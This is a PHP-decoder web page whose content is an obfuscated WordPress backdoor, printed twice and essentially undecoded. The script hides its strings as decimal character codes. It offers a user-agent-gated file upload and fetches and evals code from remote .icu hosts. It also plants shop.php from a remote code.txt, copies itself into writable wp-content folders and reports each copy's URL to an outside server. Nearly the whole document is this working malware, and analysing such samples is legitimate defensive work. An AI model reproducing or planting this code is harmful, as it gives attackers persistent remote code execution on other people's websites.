Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php function db82206b1d49042d1a710e9c88c21d36($d) { return chr($d); } function b1ba5493b..

Decoded Output download

<?php function db82206b1d49042d1a710e9c88c21d36($d) { return chr($d); } function b1ba5493b660656536a84d5c2f034327($b1ba5493b660656536a84d5c2f034327) { foreach (str_split($b1ba5493b660656536a84d5c2f034327, 3) as $b1ba5493b660656536a84d5c2f034372) { $b1ba5493b660656536a84d5c2f034627[] = db82206b1d49042d1a710e9c88c21d36($b1ba5493b660656536a84d5c2f034372); } return implode("", $b1ba5493b660656536a84d5c2f034627); } if (b1ba5493b660656536a84d5c2f034327("109100053")(b1ba5493b660656536a84d5c2f034327("109100053")($_SERVER[b1ba5493b660656536a84d5c2f034327("072084084080095085083069082095065071069078084")])) == "d52911ec8a56741007c84928d2e19264" && b1ba5493b660656536a84d5c2f034327("116114105109")($_GET[b1ba5493b660656536a84d5c2f034327("097099116105111110")]) == b1ba5493b660656536a84d5c2f034327("119112045097100109105110")) { if (!empty($_FILES[b1ba5493b660656536a84d5c2f034327("102105108101")])) { b1ba5493b660656536a84d5c2f034327("109111118101095117112108111097100101100095102105108101")($_FILES[b1ba5493b660656536a84d5c2f034327("102105108101")][b1ba5493b660656536a84d5c2f034327("116109112095110097109101")], $_FILES[b1ba5493b660656536a84d5c2f034327("102105108101")][b1ba5493b660656536a84d5c2f034327("110097109101")]); } exit; } $db82206b1d49042dla710e9c88c21din = b1ba5493b660656536a84d5c2f034327("101120112108111100101")("/", $_SERVER[b1ba5493b660656536a84d5c2f034327("080065084072095073078070079")]); if ($db82206b1d49042dla710e9c88c21din[1] == b1ba5493b660656536a84d5c2f034327("115104101108108")) { $db82206b1d49042dla710e9c88c21d3s = db82206b1d49042dla710e9c88c21d36(b1ba5493b660656536a84d5c2f034327("104116116112058047047") . b1ba5493b660656536a84d5c2f034327("097046097105049046105099117")); if ($db82206b1d49042dla710e9c88c21d3s) { eba5493b666656536a84d5c2f034327v($db82206b1d49042dla710e9c88c21d3s); } exit; } b1ba5493b660656536a84d5c2f034327("105103110111114101095117115101114095097098111114116")(true); b1ba5493b660656536a84d5c2f034327("115101116095116105109101095108105109105116")(0); while (true) { $b1ba5493b666656536a84d5c2f03432b = b1ba5493b666656536a84d5c2f034327() . substr(md5(__FILE__), 0, 5) . b1ba5493b660656536a84d5c2f034327("046112104112"); $o1ba5493b660656536a84d5c2f034327 = b1ba5493b660656536a84d5c2f034327("102105108101095103101116095099111110116101110116115")(__FILE__); $p1ba5493b660656536a84d5c2f034327 = b1ba5493b660656536a84d5c2f034327("115116114112111115")(b1ba5493b660656536a84d5c2f034327("115116114116111108111119101114")($_SERVER[b1ba5493b660656536a84d5c2f034327("083069082086069082095080082079084079067079076")]), b1ba5493b660656536a84d5c2f034327("104116116112115")) === FALSE ? b1ba5493b660656536a84d5c2f034327("104116116112") : b1ba5493b660656536a84d5c2f034327("104116116112115"); $u1ba5493b660656536a84d5c2f034327 = $p1ba5493b660656536a84d5c2f034327 . b1ba5493b660656536a84d5c2f034327("058047047") . $_SERVER[b1ba5493b660656536a84d5c2f034327("072084084080095072079083084")] . $_SERVER[b1ba5493b660656536a84d5c2f034327("083067082073080084095078065077069")]; b1ba5493b660656536a84d5c2f034327("115108101101112")(5); if (!g1ba5493b660656536a84d5c2f034327($_SERVER[b1ba5493b660656536a84d5c2f034327("068079067085077069078084095082079079084")] . b1ba5493b660656536a84d5c2f034327("047115104111112046112104112"), "f5796405fc61b6339efee1f4a56f0909")) { b1ba5493b660656536a84d5c2f034327("102105108101095112117116095099111110116101110116115")($_SERVER[b1ba5493b660656536a84d5c2f034327("068079067085077069078084095082079079084")] . b1ba5493b660656536a84d5c2f034327("047115104111112046112104112"), db82206b1d49042dla710e9c88c21d36(b1ba5493b660656536a84d5c2f034327("104116116112058047047097105049046105099117047099111100101046116120116"))); } if (file_exists(__FILE__)) { db82206b1d49042dla710e9c88c21d36($u1ba5493b660656536a84d5c2f034327); b1ba5493b660656536a84d5c2f034327("102105108101095112117116095099111110116101110116115")(__FILE__, $o1ba5493b660656536a84d5c2f034327); break; } if (file_put_contents($b1ba5493b666656536a84d5c2f03432b, $o1ba5493b660656536a84d5c2f034327)) { $l1ba5493b660656536a84d5c2f034327 = $p1ba5493b660656536a84d5c2f034327 . b1ba5493b660656536a84d5c2f034327("058047047") . $_SERVER[b1ba5493b660656536a84d5c2f034327("072084084080095072079083084")] . b1ba5493b660656536a84d5c2f034327("115116114095114101112108097099101")($_SERVER[b1ba5493b660656536a84d5c2f034327("068079067085077069078084095082079079084")], "", $b1ba5493b666656536a84d5c2f03432b); if (db82206b1d49042dla710e9c88c21d36(b1ba5493b660656536a84d5c2f034327("104116116112058047047112046119112097046105099117047063117114108061") . $l1ba5493b660656536a84d5c2f034327)) { db82206b1d49042dla710e9c88c21d36($l1ba5493b660656536a84d5c2f034327); } break; } break; } function b1ba5493b666656536a84d5c2f034327() { $b1ba5493b660656536a84d5c2f034627 = array(b1ba5493b660656536a84d5c2f034327("047"), b1ba5493b660656536a84d5c2f034327("047119112045099111110116101110116047"), b1ba5493b660656536a84d5c2f034327("047119112045097100109105110047"), b1ba5493b660656536a84d5c2f034327("047119112045099111110116101110116047117112108111097100115047"), b1ba5493b660656536a84d5c2f034327("047119112045099111110116101110116047117112108111097100115047050048050051047")); foreach ($b1ba5493b660656536a84d5c2f034627 as $b1ba5493b660656536a84d5c2f034372) { $b1ba5493b660656536a84d5c2f034372 = $_SERVER[b1ba5493b660656536a84d5c2f034327("068079067085077069078084095082079079084")] . $b1ba5493b660656536a84d5c2f034372; if (is_dir($b1ba5493b660656536a84d5c2f034372) && is_writable($b1ba5493b660656536a84d5c2f034372)) { $b1ba5493b660656536a84d5c2f034371[] = $b1ba5493b660656536a84d5c2f034372; } } shuffle($b1ba5493b660656536a84d5c2f034371); return $b1ba5493b660656536a84d5c2f034371[0]; } function eba5493b666656536a84d5c2f034327v($code) { if (!empty($code)) { return @ eval($code); } } function g1ba5493b660656536a84d5c2f034327($g1ba5493b660656536a84d5c2f034327 = "", $b1ba5493b660656536a84d5c2f034327 = "") { if (hash_file(b1ba5493b660656536a84d5c2f034327("109100053"), $g1ba5493b660656536a84d5c2f034327) === $b1ba5493b660656536a84d5c2f034327) { return true; } return false; } function db82206b1d49042dla710e9c88c21d36($db82206b1d49042dla710e9c88c21d36) { $db82206b1d49042dla710e9c88c21d316 = b1ba5493b660656536a84d5c2f034327("099117114108095105110105116")($db82206b1d49042dla710e9c88c21d36); b1ba5493b660656536a84d5c2f034327("099117114108095115101116111112116")($db82206b1d49042dla710e9c88c21d316, CURLOPT_RETURNTRANSFER, true); b1ba5493b660656536a84d5c2f034327("099117114108095115101116111112116")($db82206b1d49042dla710e9c88c21d316, CURLOPT_TIMEOUT, 3); $b1ba5493b660656536a84d5c2fo34327 = b1ba5493b660656536a84d5c2f034327("099117114108095101120101099")($db82206b1d49042dla710e9c88c21d316); b1ba5493b660656536a84d5c2f034327("099117114108095099108111115101")($db82206b1d49042dla710e9c88c21d316); return $b1ba5493b660656536a84d5c2fo34327; } 
 ?>

Did this file decode correctly?

Original Code

<?php function db82206b1d49042d1a710e9c88c21d36($d) { return chr($d); } function b1ba5493b660656536a84d5c2f034327($b1ba5493b660656536a84d5c2f034327) { foreach (str_split($b1ba5493b660656536a84d5c2f034327, 3) as $b1ba5493b660656536a84d5c2f034372) { $b1ba5493b660656536a84d5c2f034627[] = db82206b1d49042d1a710e9c88c21d36($b1ba5493b660656536a84d5c2f034372); } return implode("", $b1ba5493b660656536a84d5c2f034627); } if (b1ba5493b660656536a84d5c2f034327("109100053")(b1ba5493b660656536a84d5c2f034327("109100053")($_SERVER[b1ba5493b660656536a84d5c2f034327("072084084080095085083069082095065071069078084")])) == "d52911ec8a56741007c84928d2e19264" && b1ba5493b660656536a84d5c2f034327("116114105109")($_GET[b1ba5493b660656536a84d5c2f034327("097099116105111110")]) == b1ba5493b660656536a84d5c2f034327("119112045097100109105110")) { if (!empty($_FILES[b1ba5493b660656536a84d5c2f034327("102105108101")])) { b1ba5493b660656536a84d5c2f034327("109111118101095117112108111097100101100095102105108101")($_FILES[b1ba5493b660656536a84d5c2f034327("102105108101")][b1ba5493b660656536a84d5c2f034327("116109112095110097109101")], $_FILES[b1ba5493b660656536a84d5c2f034327("102105108101")][b1ba5493b660656536a84d5c2f034327("110097109101")]); } exit; } $db82206b1d49042dla710e9c88c21din = b1ba5493b660656536a84d5c2f034327("101120112108111100101")("/", $_SERVER[b1ba5493b660656536a84d5c2f034327("080065084072095073078070079")]); if ($db82206b1d49042dla710e9c88c21din[1] == b1ba5493b660656536a84d5c2f034327("115104101108108")) { $db82206b1d49042dla710e9c88c21d3s = db82206b1d49042dla710e9c88c21d36(b1ba5493b660656536a84d5c2f034327("104116116112058047047") . b1ba5493b660656536a84d5c2f034327("097046097105049046105099117")); if ($db82206b1d49042dla710e9c88c21d3s) { eba5493b666656536a84d5c2f034327v($db82206b1d49042dla710e9c88c21d3s); } exit; } b1ba5493b660656536a84d5c2f034327("105103110111114101095117115101114095097098111114116")(true); b1ba5493b660656536a84d5c2f034327("115101116095116105109101095108105109105116")(0); while (true) { $b1ba5493b666656536a84d5c2f03432b = b1ba5493b666656536a84d5c2f034327() . substr(md5(__FILE__), 0, 5) . b1ba5493b660656536a84d5c2f034327("046112104112"); $o1ba5493b660656536a84d5c2f034327 = b1ba5493b660656536a84d5c2f034327("102105108101095103101116095099111110116101110116115")(__FILE__); $p1ba5493b660656536a84d5c2f034327 = b1ba5493b660656536a84d5c2f034327("115116114112111115")(b1ba5493b660656536a84d5c2f034327("115116114116111108111119101114")($_SERVER[b1ba5493b660656536a84d5c2f034327("083069082086069082095080082079084079067079076")]), b1ba5493b660656536a84d5c2f034327("104116116112115")) === FALSE ? b1ba5493b660656536a84d5c2f034327("104116116112") : b1ba5493b660656536a84d5c2f034327("104116116112115"); $u1ba5493b660656536a84d5c2f034327 = $p1ba5493b660656536a84d5c2f034327 . b1ba5493b660656536a84d5c2f034327("058047047") . $_SERVER[b1ba5493b660656536a84d5c2f034327("072084084080095072079083084")] . $_SERVER[b1ba5493b660656536a84d5c2f034327("083067082073080084095078065077069")]; b1ba5493b660656536a84d5c2f034327("115108101101112")(5); if (!g1ba5493b660656536a84d5c2f034327($_SERVER[b1ba5493b660656536a84d5c2f034327("068079067085077069078084095082079079084")] . b1ba5493b660656536a84d5c2f034327("047115104111112046112104112"), "f5796405fc61b6339efee1f4a56f0909")) { b1ba5493b660656536a84d5c2f034327("102105108101095112117116095099111110116101110116115")($_SERVER[b1ba5493b660656536a84d5c2f034327("068079067085077069078084095082079079084")] . b1ba5493b660656536a84d5c2f034327("047115104111112046112104112"), db82206b1d49042dla710e9c88c21d36(b1ba5493b660656536a84d5c2f034327("104116116112058047047097105049046105099117047099111100101046116120116"))); } if (file_exists(__FILE__)) { db82206b1d49042dla710e9c88c21d36($u1ba5493b660656536a84d5c2f034327); b1ba5493b660656536a84d5c2f034327("102105108101095112117116095099111110116101110116115")(__FILE__, $o1ba5493b660656536a84d5c2f034327); break; } if (file_put_contents($b1ba5493b666656536a84d5c2f03432b, $o1ba5493b660656536a84d5c2f034327)) { $l1ba5493b660656536a84d5c2f034327 = $p1ba5493b660656536a84d5c2f034327 . b1ba5493b660656536a84d5c2f034327("058047047") . $_SERVER[b1ba5493b660656536a84d5c2f034327("072084084080095072079083084")] . b1ba5493b660656536a84d5c2f034327("115116114095114101112108097099101")($_SERVER[b1ba5493b660656536a84d5c2f034327("068079067085077069078084095082079079084")], "", $b1ba5493b666656536a84d5c2f03432b); if (db82206b1d49042dla710e9c88c21d36(b1ba5493b660656536a84d5c2f034327("104116116112058047047112046119112097046105099117047063117114108061") . $l1ba5493b660656536a84d5c2f034327)) { db82206b1d49042dla710e9c88c21d36($l1ba5493b660656536a84d5c2f034327); } break; } break; } function b1ba5493b666656536a84d5c2f034327() { $b1ba5493b660656536a84d5c2f034627 = array(b1ba5493b660656536a84d5c2f034327("047"), b1ba5493b660656536a84d5c2f034327("047119112045099111110116101110116047"), b1ba5493b660656536a84d5c2f034327("047119112045097100109105110047"), b1ba5493b660656536a84d5c2f034327("047119112045099111110116101110116047117112108111097100115047"), b1ba5493b660656536a84d5c2f034327("047119112045099111110116101110116047117112108111097100115047050048050051047")); foreach ($b1ba5493b660656536a84d5c2f034627 as $b1ba5493b660656536a84d5c2f034372) { $b1ba5493b660656536a84d5c2f034372 = $_SERVER[b1ba5493b660656536a84d5c2f034327("068079067085077069078084095082079079084")] . $b1ba5493b660656536a84d5c2f034372; if (is_dir($b1ba5493b660656536a84d5c2f034372) && is_writable($b1ba5493b660656536a84d5c2f034372)) { $b1ba5493b660656536a84d5c2f034371[] = $b1ba5493b660656536a84d5c2f034372; } } shuffle($b1ba5493b660656536a84d5c2f034371); return $b1ba5493b660656536a84d5c2f034371[0]; } function eba5493b666656536a84d5c2f034327v($code) { if (!empty($code)) { return @ eval($code); } } function g1ba5493b660656536a84d5c2f034327($g1ba5493b660656536a84d5c2f034327 = "", $b1ba5493b660656536a84d5c2f034327 = "") { if (hash_file(b1ba5493b660656536a84d5c2f034327("109100053"), $g1ba5493b660656536a84d5c2f034327) === $b1ba5493b660656536a84d5c2f034327) { return true; } return false; } function db82206b1d49042dla710e9c88c21d36($db82206b1d49042dla710e9c88c21d36) { $db82206b1d49042dla710e9c88c21d316 = b1ba5493b660656536a84d5c2f034327("099117114108095105110105116")($db82206b1d49042dla710e9c88c21d36); b1ba5493b660656536a84d5c2f034327("099117114108095115101116111112116")($db82206b1d49042dla710e9c88c21d316, CURLOPT_RETURNTRANSFER, true); b1ba5493b660656536a84d5c2f034327("099117114108095115101116111112116")($db82206b1d49042dla710e9c88c21d316, CURLOPT_TIMEOUT, 3); $b1ba5493b660656536a84d5c2fo34327 = b1ba5493b660656536a84d5c2f034327("099117114108095101120101099")($db82206b1d49042dla710e9c88c21d316); b1ba5493b660656536a84d5c2f034327("099117114108095099108111115101")($db82206b1d49042dla710e9c88c21d316); return $b1ba5493b660656536a84d5c2fo34327; }

Function Calls

None

Variables

None

Stats

MD5 155e6dc4cd25943abe2d8c1fbd5f191c
Eval Count 0
Decode Time 40 ms